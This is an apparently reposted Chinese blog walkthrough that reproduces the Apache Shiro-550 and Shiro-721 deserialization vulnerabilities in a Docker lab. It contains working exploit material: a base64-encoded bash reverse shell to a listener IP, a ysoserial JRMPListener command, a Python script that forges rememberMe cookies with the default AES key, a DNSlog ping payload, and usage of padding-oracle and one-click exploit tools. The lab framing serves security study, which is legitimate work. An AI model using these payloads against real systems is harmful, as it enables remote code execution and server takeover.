0

shiro漏洞复现

 2 years ago
source link: https://sakurahack-y.github.io/2022/03/15/shiro%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

Shiro rememberMe反序列化漏洞(Shiro-550)

影响版本:Apache Shiro < 1.2.4

漏洞原理:Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

特征判断

返回包中包含rememberMe=deleteMe字段。

环境搭建

获取docker镜像
docker pull medicean/vulapps:s_shiro_1
启动docker镜像:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

工具准备

maven配置:

sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
在/etc/profile末尾添加maven环境变量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile

下载ysoserial并打包:

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

生成的工具在ysoserial/target文件中。

复现流程

1、检查是否存在默认的key

推荐使用Shiro_exploit检测:https://github.com/insightglacier/Shiro_exploit

如图成功获取密钥

2、nc监听本地端口

3、编写反弹shell代码

bash -i >& /dev/tcp/192.168.172.133/1234 0>&1
#进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

4、通过ysoserial中JRMP监听模块,监听5555端口并执行反弹shell命令。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

5、使用shiro.py生成payload

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

ps:注意shiro.py要在target目录下

6、构造数据包,伪造cookie,发送Payload

用上文产生的payload进行替换

7、成功反弹shell

Shiro Padding Oracle Attack(Shiro-721)

漏洞原理

由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
影响版本:Apache Shiro < 1.4.2版本。

漏洞利用:
1、登录Shiro网站,从cookie中获得rememberMe字段的值。

2、利用DNSlog探测,通过ysoserial工具payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class

3、使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
使用示例:

java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath

爆破成功,输出Result:

4、使用构造的rememberMe攻击字符串重新请求网站

5、成功触发Payload,在DNSLog获取到目标IP。

一键自动化漏洞利用工具

ShiroExploit:支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测,支持简单回显。
Github项目地址:https://github.com/feihong-cs/ShiroExploit

Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。

Shiro-721,需输入url,提供一个有效的rememberMe Cookie,并指定目标操作系统类型。

参考链接:https://www.cnblogs.com/xiaozi/p/13239046.html


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK